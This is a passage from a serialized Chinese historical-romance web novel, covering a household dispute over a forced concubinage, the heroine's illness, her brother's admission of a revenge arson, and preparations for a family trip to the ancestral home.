孙舅母却是怒声吼着,“你这是什么意思,你占了怜娘的便宜,现在想翻脸不认帐吗。我孙家就是落魄了,我还是七品诰命,我这就到京都府去告状,堂堂探花郎醉酒欺负表妹,我就不信这还没天理了。” 说话间,孙舅母抱着孙怜娘痛哭起来,“我苦命的孩儿啊。” 听到要告官,贺老太太有点急了,再看孙舅母那样子,心里着实看不上,一脸嫌弃的对贺二太太说着,“还不快把舅太太扶起来,哪里有一点官家太太的样子。” 孙舅父道:“我带着女儿来你们贺家过节,却在你们府里出的事,贺家必须得给交代。” 贺二太太己经不知如何是好,这与她和孙舅母商量的完全不同。 听从贺老太太吩咐去扶孙舅母,嘴里说着,“这是要怎么办?” 孙舅母道:“刚才六奶奶都答应了,六郎娶怜娘进府当平妻。” “平妻?”贺大太太几乎要笑出来,“你是不是戏文听多了,妾就是妾,哪里来的平妻。” 大周朝就没有平妻的说法,兼祧和并嫡都是特殊情况。官宦人家,尤其是高门大户里,想兼祧并嫡都得上折子,皇上准了才能执行。 戏文里的平妻,那只是戏文,现实这么干就是宠妾灭妻。 “我孙家是有官身的,怎么能让女儿做妾。”孙舅母大声喊着,“不然我就告官。” 眼看着不可开胶,贺大老爷怒声吼着,“够了,说来说去是我贺府的错,是六郎不争气,我今天就请家法,把他打死赔你们姑娘的清白。” 说着,贺大老爷吩咐小厮们拿来棍棒,作势就要打贺英。 不用小厮们拉扯,贺英跪直身体,一副愿意领罚的模样。 贺大老爷也没留手,一棍打到贺英背上,贺英背脊稍弯,却是硬挺直了,“我愿领罚。” “我的儿啊……”贺二太太见状顿时大哭。 贺大太太给婆子使了眼色,婆子上前拉开贺二太太。 “我对孙怜娘绝无任何不轨之心。”贺英大声说着,“今日犯下大错,我愿意领罚。” 贺大老爷又是一棍打到贺英背上,连续十来下,虽不至于伤筋动骨,贺英脸色却有几分苍白。 “小六身子单薄……”贺老太太心疼孙子,不禁说着。 贺大老爷手里拿着棍子,没有放下来,却是?便撇了一眼苏玫。 男人风流本就不是大事,孙舅母虽然喊震天响,都是虚的,本意就是让贺英纳了孙怜娘。 问题的关键在于苏玫,他情愿顶着骂名,也要与苏家结亲,就是希望得到苏家的助力。 傻子都知道,想得到岳家的助力,要先对人家女儿好。 现在苏玫娶到家了,这才几个月,贺英就要纳妾,还要纳亲表妹。这事要是传到苏家,苏震岳能把贺英打死。 当然,要是这事苏玫同意了,贤良大度愿意给丈夫纳妾,苏家就是知道了,也就那样了。 为了嫁贺英,苏玫不要脸连姐姐的丈夫都抢,爱到这种程度,男人的这种小错应该能包容。 他这个长辈拿着棍棒做势打几下,打的苏玫心疼了,消了气,接下来的事情就好办了。 贺大老爷心里如此盘算着,只见苏玫悠悠然坐着,脸上不但没有怒气,甚至还有几分喜气。 那架式好像还想拍手叫个好,打的好,继续打啊。 不应该啊,苏玫不是真爱贺英吗。 贺大老爷心里嘀咕着,但做戏得全套,说了要执行家法,总不能就这么执行一半。 贺英也确实该打,风流误事,要是当初娶的是苏钰,就更能上一层楼了。 现在婚后还招惹表妹,风流成这样,不好好管教将来也难成大事。 “知错有什么用,犯下如此大错,谁也救不了你。”贺大老爷怒声吼着,棍棒落的更快更狠,眼晴却是看向苏玫。 这都不是偷看,几乎是明示了。 只要苏玫求情,贺英就不用挨打了。 苏玫却仿佛没看到一般,倒是贺二太太哭的声嘶力竭,装饰品一样的贺二老爷也有点坐不住了,有点想劝又不敢。 “我愿意领罚。”贺英说着,声音却弱了下来,跪着的身体晃了起来,直接栽倒在地上。 “我的儿啊……” 贺二太太再也忍不住,硬是挣开婆子扑向贺英,放声大哭,“你要是有个好歹,我指望谁啊。” 贺老太太也慌了,“快去请大夫,把小六扶起来,抬到我屋里。” 又指责贺大老爷,“你这下手也太重了些。” 屋里众人手忙脚乱,一直闹腾的孙舅母都不敢了,要是贺英真有个好歹,孙怜娘还嫁谁。 因为是元宵节,大夫格外难请些。诊脉上药,把贺英安置好己经半夜,本来过节就累,这么闹一通都困倦了。 “都回去吧。”贺大老爷说着,示意散场。 孙舅母马上跳出来,“你做为伯父要罚贺英那是你们家的事,我女儿要怎么办,就这么着想混过去,门都没有。” 贺英挨了打,散了场,明天再来找贺家,那就一推一二三,再推四五六。 这是唯一的机会,必须得给孙怜娘要个名份。 贺大老爷快要气死了,却不得不应对,“我出一百两银子给孙姑娘当嫁妆。” “一百银子?你当我女儿是什么,要你们拿银子打发。”孙舅母顿时怒了,孙舅父也嚷嚷着,“光脚不怕穿鞋的,这么羞辱于我家,我要上告朝廷革了贺英的功名。” 说到功名,贺大老爷态度变了,语气也软了下来,“都是亲戚,把六郎的功名革了,你们又有什么好处。” “那我女儿的清白,也不能被这么白白污了。”孙舅母喊着,“聘金嫁妆一样不能少,挑个好日子,吹吹打打迎怜娘进门。” 贺大太太听得笑了,“清白人家的女儿会爬表哥的床?满府的丫头婆子,孙姑娘要是无意,大喊一声,哪有后来的事。” “本想着是亲戚,又是姑娘家,想给你们这个体面,却是给脸不要脸。你要告官就去告啊,把事摆出来大家都说说,看看谁的错。” 孙舅母有些怂了,却是看向苏枚,“刚才六奶奶说了,让怜娘当平妻。” 苏枚笑,“只要贺家丢的起这个脸,我可以。” “怜娘给贺英当平妻,哪里就丢脸了。”孙舅母吵嚷着。 双方争吵不休,贺二太太担忧贺英,己经顾不上替孙怜娘争取名份,“就让怜娘进门当妾。” 说着又看向苏玫,“你是主母,拿点聘金就出来。” “我拿聘金?”苏玫被贺二太太逗笑了,“贺家果然穷了,贺英娶小妾还得正妻拿钱,这事要是传出去,贺英下辈子都不用出门了。” 苏玫这都不是暗讽,而是直接骂到脸上,贺大老爷再傻也看出苏枚的不悦,当即怒声骂着,“一个浪□□人,竟还敢要聘金,给我打出去。” 贺大老爷刚打了贺英,孙舅母多少有些怕了,语气也软了下来,“那总得……” “敬主母一杯茶,就当过门了。”贺二太太说着。 撕扯到现在,眼看着就天亮了,贺大老爷看起来也不打算松口,孙舅母看着哭红了眼的孙怜娘,只得说,“好,那就进门。” 婆子给孙怜娘挽了头发,丫头端来茶,孙怜娘接过茶碗,低头给苏玫跪下,心中满是委屈,却不得不说,“奶奶喝茶。” 她要是有苏枚的出身,她要是能嫁到更好的,何至于轻贱至此。 苏玫笑着接过茶碗,抿了一口,“好,以后就是孙姨娘了。” 这个姨娘她认了,至于贺英认不认,她就不知道了。 放下茶碗,按例主母要给新姨娘打赏,不过外乎是首饰之类的。 苏枚却是直接起身,径自说着,“太晚了,都该去歇着了。” 闹剧一般,终于结束,众人各自回屋。 至于贺英,因为还在昏迷中,就宿在贺老太太屋里。因厌恶孙怜娘,贺老太太叫住她,让她给贺英守夜。 孙怜娘心中并不愿意,但贺老太太如此说了,她只得答应。 贺英睡在碧纱橱的床上,孙怜娘无处可睡,又因为天冷,丫头连个被子都没给她,她无奈只能缩在床角。 这一天发生了太多事情,孙怜娘也是累了,迷迷糊糊睡了一会,就听耳边有丫头训斥着,“真是个挺死尸的,六爷醒了,要水喝,你装什么聋呢。” 孙怜娘是官家小姐,以前在这府里也是表小姐,哪里被丫头如此骂过,刚想回嘴,就听贺英惊悚说着,“你怎么在这里?” 嫌弃兼惊吓的口吻,让孙怜娘愣了一下。 “这是孙姨娘,六奶奶喝了她的茶,是您的姨娘了。”丫头说着。 “姨娘?”贺英脸色大变,“我不同意。” 说着,起床就要往外走,还是丫头喊住他,穿了外衣才外往走。 孙怜娘却是呆住了,不愿意? 贺英怎么会不愿意,她都这么不要脸了,贺英要是不要她,她可要怎么活。 贺英一路小跑回到二房,此时孙舅父和孙舅母还在,正跟贺二太太说钱的事。 一个清白大姑娘给贺英当妾,总不能一点表示没有吧。 这聘金,苏玫不出,贺二太太总得给点吧。 “这,这跟商量好的也不一样。”贺二太太言语间带着怨气。 她是想孙怜娘当她儿媳妇,但昨晚闹成那样,实在太丢脸了。 尤其是看到贺英挨打后,她就后悔了。 “我不纳妾。”贺英大声说着,几乎要吼出来。 要说以前,他对贺二太太这个母亲,不能说十分孝顺,但至少是真心相待,不听话也会努力哄着她。 就在昨天晚上,贺二太太给他下药后,那点孝顺也被磨没了。 贺二太太从来没为他考虑过,她只是要指望他,指望着儿子孝顺。要是哪天她觉得指望不上了,就会马上转为自己考虑。 就像孙怜娘,她觉得苏玫不好,就一门心思让他娶孙怜娘。 哪里是为他考虑,只是希望多个人能一起拿捏他,让他便孝顺。 “你说什么呢?”贺二太太惊呆了,“你媳妇都愿意了。” 紧跟着贺英进院的孙怜娘,也跟着哭了出来,“表哥,你不要我吗?” “我当然不要你。”贺英态度坚定,“你与母亲一起算计我,我为什么要你。” 纳妾虽然没有婚书,但也是有手续的。 一个晚上而己,苏玫的答应只是嘴上答应,没有手续,可以随时推翻。 孙舅母和孙舅父也惊呆了,纳妾一般都是正妻不同意,从来没有听说过男人不愿意的。 白得一个小老婆,多少男人求之不得。 “你们想告就告吧,我身上的丑事也不差这一件。”贺英怒火冲天,指着孙怜娘骂,“你要是有点羞耻之心,就马上滚出贺府,以后再不要过来。” “表哥……” 孙怜娘声音颤抖着,只觉得肝肠寸断,本就被折腾一晚上,再受如此大击,身体摇晃着,直接晕了过去。 “怜娘,怜娘。”孙舅父和孙舅母赶紧去扶。 贺英看都不看一眼,直接往后头苏玫屋里走,贺二太太下意识抓住他,“六郎……” 贺英直接甩开她,看都没看她一眼,径自走着。 “我的儿啊……”贺二太太再也忍不住,哇的一声大声哭出来。 前头闹成这样,后院的苏玫早就被吵醒了。 不用丫头转述,她也能猜到大概经过,没有恋爱脑后,她反而更了解贺英了。 正妻也好,姨娘也好,丫头也罢,睡哪个女人对贺英都无所谓。 他在意的,是他的前途,以及女方的背景,能否给他提供助力。 像孙怜娘这种,本来就是表亲,又是官家女,这样的收为姨娘,要是被外人知道,那话就难听了。 正妻进门不到半年,又纳表妹为妾,还是先睡后娶。又不是勾栏里的姐儿,哪能如此轻贱。 贺英想要好名声,想在清流仕途上走下去,连亲生孩儿都容不下,又哪里会要这样一个孙怜娘。 连贺二太太这个亲娘,此事之后,只怕也再难得儿子的真心。 第78章 第 78 章 苏钰病了,从莲花庵回来…… 苏钰病了, 从莲花庵回来的当晚,就有些不适。 初时连绿川都没太当回事,苏钰自小习武,身体强壮, 就是有些不舒服, 睡一觉就好了。 直至第二天, 苏钰发起了高烧, 绿川吓坏了,连忙回报关氏, 请大夫进府。 常来苏家行走的是宫里的御医胡大夫,老熟人,却几乎没给苏钰诊过脉,没生病自然不用请诊脉。 “姑娘这是气结郁于心,凡事要想开些啊。”诊脉之后胡太医说着。 关氏问着, “严重吗?” “姑娘身体素来康健,我开副疏散的方子吃两天就没事了。”胡大夫说着,格外叮嘱, “一定要宽心。” 苏钰躺在床上, 心里十分幸庆, 放着帐幔,不用直视太医和关氏。 绿川引着胡大夫到西梢间写方子, 关氏站在床边, 心里重重叹口气,却不知道说什么好。 大夫都说了,是郁结于心,为何郁结不言而喻。 “姑娘,还是想开些。”关氏说着, “等身体好些,天气暖和了,多出门走走。” “嗯,让三太太担心了。”苏钰小声说着,“我没什么大碍,休息两天就没事了。” 胡太医写完方子,关氏吩咐管事去抓药,又叮嘱绿川等一众丫头婆子好好侍侯,若是有事不管多晚都要回报。 管事送胡太医出门,关氏安慰苏钰几句也要回去。 等关氏走了,苏钰才让丫头收起帐幔起身。 “姑娘,刚才胡太医写方子时,我悄悄给了他十两银子,让他别乱说话。”绿川说着。 胡太医来苏家看病是包年制,每年的四节八礼是定数,每回过来再给一两银子车马钱。 但这回苏钰突然生病,还是因为…… 要是胡太医再外面乱说一嘴,外面的闲话就更多了。 绿川便私自做主给了封口费,一点小钱就可以免许多麻烦。 “很好。”苏钰说着,只觉得头痛难耐,但躺着也不舒服,“更衣,我坐一会。” 绿川上前侍侯,却不敢多言。 她也是现在才知道,不管苏钰表现的多么云淡风清。什么没什么想过要成亲,没有薛迟还有谢无衣,都是嘴上说的。 事实是,全身上下只有嘴是硬的,身体最诚实。 “你是不是心里笑话我。”苏钰突然对绿川说着。 绿川愣了一下,马上摇摇头,“没有,没有,姑娘生病我担心的不得了,也是我大意了,姑娘昨天都有些不适,早该请大夫的。” 苏钰看绿川神情就知道,肯定要心里吐槽她,其实她自己也想吐槽自己。 只因为薛迟在青云庵说的几句话,她就辗转难眠,竟然还生起病来,实在丢脸。 “我好像挺没出息的。”苏钰自我反省。 绿川笑着道:“姑娘这是至亲至性。” 皇上赐婚,又不是薛迟移情,舍不得很正常。 尤其是苏家的情况,祖传恋爱脑,只是生一场小病己经很厉害了。 “说起来,你都二十了,真打算不嫁人,就这么跟着我吗?”苏钰问绿川。 这个问题她去年就问过,不是她嫌弃绿川,而是人的想法会变的,尤其是到一定的岁数后。 去年不想成亲,今年也许就想了。 去年还没有意中人,今年也许就有了。 “姑娘,怎么又说这个。”绿川不干了,“你还是好好休息,先养好病再操心。” 苏钰狐疑的看一眼绿川,绿川这个反应有点不太对,要是不想嫁直接拒绝不就好了。 话说的含糊,多半是有隐情。 但绿川天天跟着她,也没有外男可见,难道跟府里的谁日久生情了? “大爷来了……” 小丫头传话进来,苏钰马上把话题打住,起身相迎。 片刻后,苏略进到屋里。 “大哥,你回来了。”苏钰从里间出来,让着苏略在客厅坐下。 绿川上茶,苏略看着苏钰,有几分打趣说着,“我刚回来就听到你生病了,这么想不开啊。” 苏钰下意识别过脸去,却是强行解释,“吹了风有些不适,哪有什么想开想不开的。” 苏略只是笑,也不拆穿苏钰,“好好养病,有什么想吃想玩,或者想找什么乐子,都告诉我,我最近都在京城。” “懒得出门,也没什么想要的。”苏钰说着,她恨不得把自己关屋里,任何人都不想见。 “那等你想到了再说。”苏略说着,“姻缘之事顺其自然就好,成亲不成亲的,也就那样。” 不结婚不可怕,结错婚才是毁人一生。 苏钰一点都不意外苏略会这么说,毕竟二十五岁的大龄光棍实在没资格催婚,笑着道:“我听大哥的。” 兄妹说了几句闲话,苏略还有事要忙,便要回去。 见苏略起身欲走,苏钰突然喊住他,“大哥……” 苏略看向她,“怎么了?” 苏钰斟酌着用词,这些天来一直在犹豫,却还是想问个明白,“除夕晚上李府突然失火,大哥知晓吗?” 除夕白天当街行刺,胆量是足够,但设计的一榻糊涂,落得个全灭的结果。 幕后主谋是个胆大的傻逼。 而就在当天晚上李府就失火了,一场逻辑上对不上,却又不找到线索的意外,烧死了一百多口,却把军需案的重点嫌疑人留了活口。 同样胆大包天,但这手段,这心计,满京城能做到的,一只手数得过来。 还未出正月的缘故,案卷全部压着,就是开放的,可以查阅,官府那边的线索也不重要。 京都府尹根本就不想查,也不想追究。与军需案并案,最后只会不了了之。 苏钰就想问问苏略,是不是他做的。 “李甲被人怂恿,当街行刺你。”苏略语气十分温柔,“父亲不在,我当兄长的,自然该还李家一份薄礼。” 苏钰心头不自觉得颤了一下,看着苏略温文儒雅的笑容,突然觉得有点点冷。 她知道苏略是为她报仇,也是立威。 这一场大火之后,不管任何原由,想对她动手,就得想想这一场大火。 但,这是一百多条人命啊,惨死的女眷下人何其无辜。 慕容宁曾说过苏略,说他杀人没有感觉,根本没有正常人的感情。 慕容宁不会骗她,但苏略对她太好了,让她在面对苏略不自觉得就戴上了滤镜。 “是觉得我不该告诉你吗?”苏略笑着说。 苏钰抿了一下唇,她会问苏略,当然是想到是他做的。 但苏略如此坦言相告,依然让她意外。 这种事情,不该瞒着她吗,哪怕是骗她呢。 “你今年十九岁,不再是小孩子,不管你的意愿为何,许多事情你都必须得接受。”苏略说着。 他的所做所为可以瞒着苏钰,但慕容宁做的呢,全京城皆知,瞒都没得瞒。 这就是苏钰所处的环境,想把头缩起来,当个闺阁女儿,她做不到。 苏钰不禁深吸口气,头好像更疼,又好像疼麻木了,反而没了感觉。 苏略伸手摸摸苏钰的头,像小时候那样,他十分疼惜这唯一的妹妹,“我与父亲不在你身边,让你吃了许多苦头。但从本心上,我们都是为你好。” 苏钰摇摇头,“这些年我过的很好。” 下意识想说,慕容宁对她很好,但想到苏略与慕容宁的关系,不自觉得打住了。 她很多时候都搞不明白,苏略是养子,为什么会对养母意见这么大。 “你是父亲唯一的女儿,想过什么样的生活都可以。”苏略说着,“若是嫌京城太热闹,也可以回老家去,那里安静。” 苏家是大族,京城没几房人,老家人就多了。若是回老家直隶,只是认人就能认一天。 “再说吧。”苏钰说着。 “你还病着,我说这么多倒是耽搁你养病。”苏略说着,“歇着吧PMDUJIA,我回去了。” “嗯。” 苏钰应着,送苏略出屋门。 看着苏略缓步而去,苏钰心情一时间复杂难解。 这是苏略的世界,也是苏天翊的世界,她插不进去,也融入不了。 就和慕容宁一样,每个人都有每个人的生活,哪怕是血缘至亲,也都是各自按照自己的生活方式活着。 胡太医确实有两把刷子,说两副药就好,苏钰吃完两副药真好了。 绿川谨遵医嘱,但凡出门就会拿着斗篷,生怕苏钰再吹了风。 “姑娘,晋阳长公主派人送来贴子。”婆子拿着贴子进门。 绿川脸色顿时僵了一下,却是赶紧上前接了过来,“劳烦嫂子了。” 说着,从里间抽屉里随手拿出一块银子塞给婆子,婆子道了声谢赶紧去了。 绿川小心翼翼把贴子奉上,苏钰接的时候,自言自语说着,“谢无衣要定亲了吧。” 以前只是放话,说要定亲了,其实没走流程。 而现在晋阳长公主亲自写了贴子送来,那多半是真定亲,不是吓唬。 就像慕容宁说的,谢无衣和薛迟同出一府,兄弟一样的关系,晋阳长公主怎么可能允许她先跟薛迟谈感情,再跟谢无衣搞暧昧。 果然,贴子拆开,是喜贴。 晋阳长公主亲笔所写,十分客气,谢无衣和薛雨梓下个月正式定亲,邀请她去吃席。 告知是真,邀请是假,她若真去了,晋阳长公主能当场厥过去。 “研磨,我写回贴。”苏钰说着。 回贴写的很快,客气礼貌,先是恭喜谢无衣定亲。又表示,自己身体不适,就不亲自过去道喜了。 “找个稳妥的人送过去,路上不要出岔子。”苏钰吩咐绿川。 晋阳长公主现在肯定很心焦,所以回贴要又快又准时的送达,好让她安心。 “姑娘放心吧。”绿川说着。 谢无衣定亲的事,在京城几乎没有水花,吃瓜讨论的都没有。 出了正月后,慕容宁再次上折子,刚出正月,三堂会审的大戏终于开始。 又因纵火案夹在其中,京都府尹也一同出席,提供纵火案线索,却只是旁听,一句话都不说。 慕容宁当仁不让成了主审管,据说刑部尚书和大理寺卿都试图争过,但没争过慕容宁。 慕容宁的手段,让他们有不太敢争。 人证物证监察寮己经整理出来,但十年前的旧案,总有缺失,现在三堂会审,证据就要足够服众。 案件初审十分顺利,关键人物李大人交代的又多又快,几乎到了问什么说什么的地步。 一场大火,除了他本人外,基本全家灭门。 李大人是一夜白头,求生的意志都很薄弱,又入了监察寮大牢,也不知道监察寮怎么审的,现在整个人浑浑噩噩状态。 据李大人交代,他与梅将军并无恩怨,之所以扣粮草也是被逼无奈。 户部掌管天下钱粮,说起来是很威风,但是连续几年灾年,钱粮收不上来,但用钱的地方一点都不少。 会苛扣梅将军的粮草,是因为梅将军没有后台好欺负。扣其他款项,根本就扣不了。 至于因此战败,军士死亡,那就不是户部的事了。有关太后当后台,梅将军找不了他的麻烦。 李大人此话出口,在场的官员都沉默了。 十年前,显庆皇帝虽己二十七岁,但关太后依然大权在握,母子争权,还非亲生母亲,斗的异常激烈。 李大人是关太后的铁杆,而梅将军只是个会打仗的将军,在党争之时保持中立,结果就是替罪羔羊。 好事轮不到,坏事全摊上,必要时就是两方拉出来的替罪羊。 只想老实当个纯臣,要么就远离京城,不然就是把头扎在土堆里,都随时都被拉出来挡灾,谁让你好欺负呢。 当然,这种事情不会写在邸报里,苏钰会知道,是因为苏略把堂审记录送了一份给她。 苏钰只看文字就有种窒息感,而这只是个开始,接下来会还会咬出谁,会审出多少奇葩,更无从得知。 也因为李大人交代的太多,京城越发安静了,都有种风雨欲来山满楼的感觉。 别说谢无衣定亲,连薛迟要尚主的事都没人提,唯独苏钰还在风口浪尖上,时不时被提起。 她是慕容宁的女儿,更重要的是,越来越多人意识到。苏钰在除夕白天被刺杀,晚上李大人家就被灭门了。 怎么会这么巧,怎么可能这么巧。 “姑娘,刚才老太太派人来传话,二太太病着,老太爷和老太太要去叶府探病,问姑娘要不要同路。”绿珠急匆匆进门说着。 “二婶病的这么严重?”苏钰又是惊讶又是担心。 叶氏每年十五前后都会病一场,这回连苏震岳和谷夫人都要过去探病,那这回病的是真不轻。 “三房也准备去,只因三老爷一直在衙门脱不开身。”绿川说着。 据说苏玫夫妻都去看过了,只怕情况真的不太好。 苏钰担忧不己,吩咐绿川,“我跟老太爷,老太太同去,马上去准备。” 午饭过后,苏震岳骑马,谷夫人和苏钰坐车,一同去了叶府。 苏天华得知苏震岳和谷夫人都来了,亲自迎到二门上。 “竟然把老太爷和老太太都惊动了。”苏天华说着,脸上神情却甚是焦虑不安。 苏震岳道:“你那媳妇是心病,只是吃药怕是用处不大,该想点其他办法。” “己经想了。”苏天华说着。 苏钰微微愣了一下,什么叫做己经想了? 叶氏的住所在东跨院,从二门过去,通过垂花门就是。 小丫头打起帘子,众人正欲进屋,就听叶氏说着,“找到了?” 叶峰正欲细说,抬头看到苏震岳和谷夫人进来,连忙打住起身见礼。 叶氏也欲起身,却被谷夫人拦住,“你歇着吧。” 苏震岳问叶峰,“刚才你说什么找到了?” 叶峰笑着回答,“二妹找到了。” 苏辰被拐之事,直隶的苏氏族人是知道的,也是想着,人多力量大,能帮忙寻找。 就在刚才,叶峰收到直隶二房三叔公的信。 说到朋友做客时,遇到一名女子,与苏邑样貌十分相似,年龄也相符。 更重要的是,她也是拐子从京城拐出来的。 三叔公细细询问后,便把那名女子接到自己家中。怕路上信丢了,派家里管事快马加鞭跑一趟京城,把信送到叶峰手里。 来人还说,人己经安置好,不管是去直隶认亲,还是把人送到京城,都可以。 “真的是辰姐儿吗?”叶氏心情激动,“我昨天做梦,还梦到辰姐儿被虫子咬,哭着喊娘。” 说着叶氏的眼泪又落了下来。 “是与不是,过去看看不就知道了。”谷夫人说着,“有邑哥儿在,也容易辩认。” 苏邑与苏辰是双胎胎,苏家的双胞胎长相都是一模一样。 就是有男女之别,大概模样也得有九分相似。 自从苏家散出消息说丢了女儿,一波又一波人来寻亲,都不用问别的,只看脸就能辩别,倒是省了许多麻烦。 叶氏还显得十分犹豫,主要是这么多年了,失望太多回了。 苏天华却是道:“说起来,许久没回过直隶,不如趁着回去一趟,峰哥儿还要去翰林院,就留下看家,我们带上邑哥儿回去。不管真假,也散散心。” 叶氏还是有些犹豫,苏邑道:“我一直觉得二姐还活着,也许她现在正在直隶等我们呢。” 这话一出,叶氏顿时有了力气,吃了无尽苦头的女儿在等她。 若是因她的犹豫而错过,岂不是到了黄泉路上都不安生,便道:“好,我们回去。” 苏天华听得松口气,正欲吩咐叶峰去打包收拾行李,就听谷夫人对苏钰说着,“钰姐儿,有件事,我想麻烦你替我跑一趟。” “老太太请说。”苏钰说着。 谷夫人说着,“四房的老太太与我相交多年,下个月是她的整寿,特意写了信了给我。我倒是想去,只是这身子骨实在经不起折腾了,想让你替走一趟。” 第79章 第 79 章 苏钰愣了一下,苏天…… 苏钰愣了一下, 苏天华,叶氏,苏邑都回去了,给四房老太太贺寿并不缺人。 谷夫人如此说, 应该是希望她离京。 生病那两天, 谷夫人过来探病, 虽然没说什么, 但神色却是欲言又止。 苏略也说过,不想在京城, 可以回老家。 “说起老家,我还没回去过。”苏邑很是高兴,对苏钰说着,“大姐,就一起嘛。” “嗯, 一起回去。”苏钰笑着说。 谷夫人是觉得最近京城的风雨太大,希望她回老家避避。 说定回老家人选,因叶氏病着, 再加上这么多人一行, 还得打包收拾东西, 约定十天后动身。 说了一会话,眼看着就要到中午, 苏天华本欲留饭。 但叶氏病着, 叶老太爷身子也不好,不想再添麻烦,苏震岳带着谷夫人和苏钰回去。 “四个丫头,六个婆子,小厮还得带上几个。”绿川紧张盘算着。 回府之后, 苏钰还没什么感觉呢,绿川先激动了。 从来没有出过远门,终于有机会了。同时又担心回老家后,苏钰生活不便。 “不用带这么多人。”苏钰说着,“先不说住处,路上都不方便。” 她和苏邑都没回过老家,叶氏还病着,这一路上,大夫,丫头婆子肯定都得带足。 她再带一堆丫头婆子,赶路都是麻烦事。 “但是姑娘从小到大,都是这么过的。”绿川担心。 不管是住苏家还是住王府,这些人手都是苏钰日常生活的基本排场。 苏钰可能不太懂,但做为贴身大丫头,绿川可是太懂了。 充足的人手,是舒服生活的提前。 “那就改一改。”苏钰说着,“你跟着,再带一个丫头一个婆子,轻车简从。” “是。”绿川只得应着,“姑娘要回去多久?” 苏钰想了想,“归期未定,几个月肯定要得。东西不用带太多,直隶虽然不及京城繁华,日用还是能买到的。” “嗯,那我就多带些银两。”绿川说着。 绿川打包收拾,苏钰也没闲着,先去了一趟楚王府,向慕容宁和楚王爷辞行。 首先见到的是楚王爷,因为慕容宁还监察寮没回来。 “那么多年没回过老家,突然回去,住哪里,侍侯的人手够吗?”楚王爷显得很担忧。 苏钰笑着说,“与二叔同行,管事也跟着,自有人张罗。” 楚王爷还是不放心,继续问,“那什么时候回来?” “要几个月吧。”苏钰不确定说着。 “八月宜宁出嫁,你可得要回来。”楚王爷说着。 虽然按楚王爷的意思,去年就想把宜宁郡主嫁出去。 但郡主出阁,要向宗人府报备,仪式安排,准备嫁妆,流程非常多。 更重要的是,匆匆忙忙成亲,男方家也不乐意。 亲事定下来后,官媒婆差点跑断腿,终于把婚期定在今年八月。 “那是一定的。”苏钰虽然不确定归期,但为免口舌,肯定要先答应。 楚王爷又叮嘱许多,又让管事收拾东西,让苏钰带到直隶去。 苏钰很想拒绝,但也知道楚王爷的性格,拒绝更麻烦。 楚王爷这个继父,虽然很多时候不靠谱,但人还是挺好的。 晚饭时间慕容宁终于回来,苏钰又向慕容宁说了一遍。 “你二婶病了?”慕容宁神情中带着担忧。 苏钰点头,“十五去青云庵上香后就病了,说一直梦到辰姐儿。这回回直隶,也是二叔的安排。” 虽然没明说,但直隶的那个“苏辰”多半是假的,为了安慰叶氏。 要是叶氏也认为是假的,一场错认,小事一桩,不值得一提。 要是叶氏认为是真的,苏天华多半会将错就错,那就更不能说出来。 “路上你多照看你二婶。”慕容宁下意识说着,随即又道,“有你二叔在,也轮不到你照顾。” 苏钰笑着说,“阿邑也同行,留二哥在叶家。” 慕容宁听得点点头,“最近京城不太平,你跟二叔回老家也挺好,多住些日子再回来。” “是。”苏钰应着。 与楚王爷,慕容宁一起吃了晚饭,苏钰就要告辞回去。 “等一下。”慕容宁叫住苏钰,“你二婶病着,我抽不出去时间探病,我准备了些东西,你替我去看看她。” 说话间,两个婆子捧着礼盒过来。 珍贵药材,明贵补品,甚至连衣料锦缎都有。 两个婆子捧着,手都感觉有点不够用。 苏钰愣了一下,“是不是太多了?” 苏家大房与二房关系异常亲厚,慕容宁与叶氏当了这些年的妯娌,情份肯定有。 但是…… 探病而己,不用这么多吧。 “礼多人不怪。”慕容宁说着,“我没亲自过去,先失了礼数。” 苏钰依然觉得太多,却没再说,“是,我明天就去。” 苏钰带着礼物回去,第二天亲自去趟叶府,把礼物和慕容宁的心意带到。 “大嫂,不,王妃太客气了。”叶氏说着,神情有些感慨。 苏天翊和慕容宁分开的原因,至今无人得知,旁观者只觉得可惜。 “母亲心里挂念二婶,只是事情太多,不能亲自过来。”苏钰笑着说。 叶氏笑着说,“说来我们也多年不见了。” 说来也是奇怪,慕容宁改嫁后,虽然四节八礼都走着,她们却没有见过面。 明明同在贵妇圈里,王妃虽然身份高贵,但也没高到够不到的地步。 “可能是母亲太忙了。”苏钰说着。 改嫁之后,慕容宁把所有心力都放到事业上,对于楚王府都是管理者心态,更不用说京城女眷之间的交际应酬。 “也是,她和我不一样。”叶氏说着,“以前是真没看出来。” 虽然外族女子,嫁给苏天翊时,慕容宁相夫教子,十分贤良淑德。 改嫁后会心性大变,同为女子也能理解。与丈夫那般相爱,把为人,妻为人母的责任全部尽到了,依然被抛弃。 心生绝望,二嫁之后,换种活法也能理解了。 与叶氏闲聊着,眼看着就到中午,苏钰在叶府吃了中午饭才离开。 坐车回到国公府,绿川上前侍侯更衣,同时汇报着,她派人往文墨斋送了消息。 这趟离京至少要半年,文墨斋也算是苏钰的产业,总要跟夏老板说一声。 “夏老板得知姑娘要出远门,特意送了一堆话本,说是给姑娘路上解闷。”绿川笑着说。 “难为他有心了。”苏钰说着。 绿川好奇说着,“姑娘对夏老板一点都不好奇吗,也不调查他的身世。” “个人有个人的造化,何必介入别人的因果。”苏钰说着。 绿川欲言又止,但见苏钰神情淡然,对夏书和全然不放在心上,也不敢多言。 又有几日,苏玫得知二房和苏钰要回老家,先是大包小包的去了叶府。 东西倒不是送给二房的,而是托苏天华带过去,给老家众人的。 关氏己经预备了,这是苏玫自己的,出嫁女另算一份,不与娘家一起。 按苏玫的说的,从来没有回过去,老家的叔伯亲戚也没见过礼,带些礼物回去聊表孝心。 苏天华接过来,对苏玫赞许有佳。 以前与贺英的婚事闹成那样,苏天华对这个侄女也是有气的。 再看现在的苏玫,做事周到,说话得体,更难得是有孝心。 婚姻让人成长,尤其是不幸的婚姻,苏玫这种变化,苏天华很是欣慰。 从叶府出来,苏玫没回家,顺道去了苏家,去看苏钰。 这一走至少要小半年,姐妹不得相见。苏钰不好去贺家,她就来苏家与苏钰辞行。 “不怕姐姐笑话,贺英又出一桩丑事。”苏玫笑着说。 贺英坚持不收孙怜娘,孙家闹腾呢,贺二太太都气病了,也不知道是真病,还是装病,一副半死不活的模样。 孙家闹的欢,再加上事情奇葩,早晚都会传遍京城。与其等别人说,不如自己说了。 “这些天我一直在打包收拾东西,京城的八卦都不知道。”苏钰说着。 贺英还没学乖吗? 苏玫当即把元宵节晚上发生的事讲了一遍,讲的眉飞色舞,尤其说到贺英醒来后的反应。 苏钰听完都惊呆了,脱口而出,“孙家到底是官身,还是表妹,贺二太太让她当妾,她可真是贺英的亲妈。” 